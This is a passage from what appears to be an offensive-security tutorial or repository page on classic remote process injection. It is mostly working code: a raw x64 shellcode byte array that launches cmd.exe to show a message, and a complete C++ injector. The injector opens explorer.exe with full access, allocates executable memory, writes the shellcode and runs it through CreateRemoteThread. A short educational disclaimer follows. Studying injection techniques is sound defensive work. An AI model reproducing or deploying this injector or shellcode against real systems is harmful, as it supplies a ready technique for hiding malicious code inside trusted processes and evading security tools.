0x85, 0x80, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x6D, 0x00, 0x33, 0x00, 0x32,
0x00, 0x5C, 0x00, 0x48, 0x89, 0x85, 0x88, 0x00, 0x00, 0x00, 0x48, 0xB8,
0x63, 0x00, 0x6D, 0x00, 0x64, 0x00, 0x2E, 0x00, 0x48, 0x89, 0x85, 0x90,
0x00, 0x00, 0x00, 0x48, 0xB8, 0x65, 0x00, 0x78, 0x00, 0x65, 0x00, 0x00,
0x00, 0x48, 0x89, 0x85, 0x98, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x55, 0x60,
0x48, 0x8D, 0x8D, 0x18, 0x02, 0x00, 0x00, 0xFF, 0x95, 0x10, 0x02, 0x00,
0x00, 0x48, 0xB8, 0x5C, 0x00, 0x3F, 0x00, 0x3F, 0x00, 0x5C, 0x00, 0x48,
0x89, 0x85, 0xA0, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x43, 0x00, 0x3A, 0x00,
0x5C, 0x00, 0x57, 0x00, 0x48, 0x89, 0x85, 0xA8, 0x00, 0x00, 0x00, 0x48,
0xB8, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x48, 0x89, 0x85,
0xB0, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x77, 0x00, 0x73, 0x00, 0x5C, 0x00,
0x53, 0x00, 0x48, 0x89, 0x85, 0xB8, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x79,
0x00, 0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 0x48, 0x89, 0x85, 0xC0, 0x00,
0x00, 0x00, 0x48, 0xB8, 0x6D, 0x00, 0x33, 0x00, 0x32, 0x00, 0x5C, 0x00,
0x48, 0x89, 0x85, 0xC8, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x63, 0x00, 0x6D,
0x00, 0x64, 0x00, 0x2E, 0x00, 0x48, 0x89, 0x85, 0xD0, 0x00, 0x00, 0x00,
0x48, 0xB8, 0x65, 0x00, 0x78, 0x00, 0x65, 0x00, 0x20, 0x00, 0x48, 0x89,
0x85, 0xD8, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x2F, 0x00, 0x6B, 0x00, 0x20,
0x00, 0x6D, 0x00, 0x48, 0x89, 0x85, 0xE0, 0x00, 0x00, 0x00, 0x48, 0xB8,
0x73, 0x00, 0x67, 0x00, 0x20, 0x00, 0x2A, 0x00, 0x48, 0x89, 0x85, 0xE8,
0x00, 0x00, 0x00, 0x48, 0xB8, 0x20, 0x00, 0x48, 0x00, 0x65, 0x00, 0x6C,
0x00, 0x48, 0x89, 0x85, 0xF0, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x6C, 0x00,
0x6F, 0x00, 0x20, 0x00, 0x66, 0x00, 0x48, 0x89, 0x85, 0xF8, 0x00, 0x00,
0x00, 0x48, 0xB8, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x20, 0x00, 0x48,
0x89, 0x85, 0x00, 0x01, 0x00, 0x00, 0x48, 0xB8, 0xF4, 0x00, 0x66, 0x00,
0x66, 0x00, 0x65, 0x00, 0x48, 0x89, 0x85, 0x08, 0x01, 0x00, 0x00, 0x48,
0xB8, 0x6E, 0x00, 0x73, 0x00, 0x69, 0x00, 0x76, 0x00, 0x48, 0x89, 0x85,
0x10, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x65, 0x00, 0x20, 0x00, 0x50, 0x00,
0x61, 0x00, 0x48, 0x89, 0x85, 0x18, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x6E,
0x00, 0x64, 0x00, 0x61, 0x00, 0x00, 0x00, 0x48, 0x89, 0x85, 0x20, 0x01,
0x00, 0x00, 0x48, 0xC7, 0x85, 0x28, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x48, 0x8D, 0x95, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x28,
0x02, 0x00, 0x00, 0xFF, 0x95, 0x10, 0x02, 0x00, 0x00, 0x48, 0xC7, 0x85,
0x38, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x50,
0x01, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x48, 0x00, 0x00, 0x00,
0x00, 0x48, 0xC7, 0x44, 0x24, 0x40, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7,
0x44, 0x24, 0x38, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x30,
0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x28, 0x00, 0x00, 0x00,
0x00, 0x48, 0x8D, 0x85, 0x28, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24,
0x20, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0x48, 0x8D, 0x95, 0x18, 0x02,
0x00, 0x00, 0x48, 0x8D, 0x8D, 0x38, 0x02, 0x00, 0x00, 0xFF, 0x95, 0x00,
0x02, 0x00, 0x00, 0x48, 0x8D, 0x85, 0x40, 0x02, 0x00, 0x00, 0x48, 0x8B,
0xF8, 0x33, 0xC0, 0xB9, 0x58, 0x00, 0x00, 0x00, 0xF3, 0xAA, 0x48, 0xC7,
0x85, 0x40, 0x02, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0xC7, 0x85, 0x48,
0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00, 0x00,
0x48, 0x6B, 0xC0, 0x01, 0x41, 0xB8, 0x20, 0x00, 0x00, 0x00, 0xBA, 0x08,
0x00, 0x00, 0x00, 0x48, 0x8B, 0x4D, 0x00, 0x48, 0x8B, 0x4C, 0x01, 0x28,
0xFF, 0x95, 0xF8, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0xA0, 0x02, 0x00,
0x00, 0x48, 0x8B, 0x85, 0xA0, 0x02, 0x00, 0x00, 0x48, 0xC7, 0x00, 0x28,
0x00, 0x00, 0x00, 0xB8, 0x20, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0, 0x00,
0x48, 0x8B, 0x8D, 0xA0, 0x02, 0x00, 0x00, 0xC7, 0x44, 0x01, 0x08, 0x05,
0x00, 0x02, 0x00, 0xB8, 0x20, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0, 0x00,
0x0F, 0xB7, 0x8D, 0x18, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x95, 0xA0, 0x02,
0x00, 0x00, 0x48, 0x89, 0x4C, 0x02, 0x10, 0xB8, 0x20, 0x00, 0x00, 0x00,
0x48, 0x6B, 0xC0, 0x00, 0x48, 0x8B, 0x8D, 0xA0, 0x02, 0x00, 0x00, 0x48,
0x8B, 0x95, 0x20, 0x02, 0x00, 0x00, 0x48, 0x89, 0x54, 0x01, 0x18, 0x48,
0xC7, 0x85, 0xB0, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B,
0x85, 0xA0, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x50, 0x48, 0x8D,
0x85, 0x40, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x48, 0x48, 0x8B,
0x85, 0x38, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x40, 0xC7, 0x44,
0x24, 0x38, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x30, 0x00, 0x00,
0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x28, 0x00, 0x00, 0x00, 0x00, 0x48,
0xC7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0x41, 0xB9, 0xFF, 0xFF,
0x1F, 0x00, 0x41, 0xB8, 0xFF, 0xFF, 0x1F, 0x00, 0x48, 0x8D, 0x95, 0xB0,
0x02, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0xA8, 0x02, 0x00, 0x00, 0xFF, 0x95,
0x08, 0x02, 0x00, 0x00, 0x89, 0x85, 0xB8, 0x02, 0x00, 0x00, 0x48, 0xB8,
0x4E, 0x74, 0x53, 0x75, 0x73, 0x70, 0x65, 0x6E, 0x48, 0x89, 0x45, 0x10,
0x48, 0xB8, 0x64, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x00, 0x48, 0x89,
0x45, 0x18, 0x48, 0x8D, 0x55, 0x10, 0x48, 0x8B, 0x8D, 0xE8, 0x01, 0x00,
0x00, 0xFF, 0x95, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0xC0, 0x02,
0x00, 0x00, 0x33, 0xD2, 0x48, 0xC7, 0xC1, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF,
0x95, 0xC0, 0x02, 0x00, 0x00, 0x48, 0x8D, 0xA5, 0x58, 0x03, 0x00, 0x00,
0x5F, 0x5D, 0xC3 };
unsigned int sc_len = sizeof(sc);
HANDLE GetProcessHandleByName(const std::wstring& processName) {
HANDLE hProcess = nullptr;
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
auto snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) return nullptr;
if (Process32FirstW(snapshot, &pe32)) {
do {
if (processName == pe32.szExeFile) {
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
break;
}
} while (Process32NextW(snapshot, &pe32));
}
CloseHandle(snapshot);
return hProcess;
}
int main(int argc, char* argv[]) {
HANDLE hthread; // remote thread handle
HANDLE handle; // process handle
LPVOID my_sc_mem; // pointer to remote buffer for payload
DWORD oldprotect = 0;
std::wstring pName = L"explorer.exe"; // Note the 'L' prefix for wide strings
HANDLE hProcess = GetProcessHandleByName(pName);
if (hProcess) {
std::wcout << L"Handle to " << pName << ": " << hProcess << std::endl;
// Allocate a memory buffer for payload with permission RWX
my_sc_mem = VirtualAllocEx(hProcess, 0, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// copy payload to allocated buffer using WriteProcessMemory()
WriteProcessMemory(hProcess, my_sc_mem, sc, sc_len, NULL);
// run shellcode
hthread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)my_sc_mem, NULL, 0, NULL);
if (hthread != NULL) {
WaitForSingleObject(hthread, 500);
CloseHandle(hthread);
}
CloseHandle(hProcess); // Close the handle when done
}
else {
std::cerr << "Failed to obtain process handle.\n";
}
return 0;
}
```
## Demonstration
![](Asset/PE2.gif)
For GitHub-Repo Click Here: [Offensive-Panda/ProcessInjectionTechniques](https://github.com/Offensive-Panda/ProcessInjectionTechniques/tree/main/Classic_Code_Injection_Remote/Classic_Code_Injection_Remote)
### Disclaimer
The content provided on this series is for educational and informational purposes only. It is intended to help users understand cybersecurity concepts and techniques for improving security defenses!
Reference in New Issue View Git Blame Copy Permalink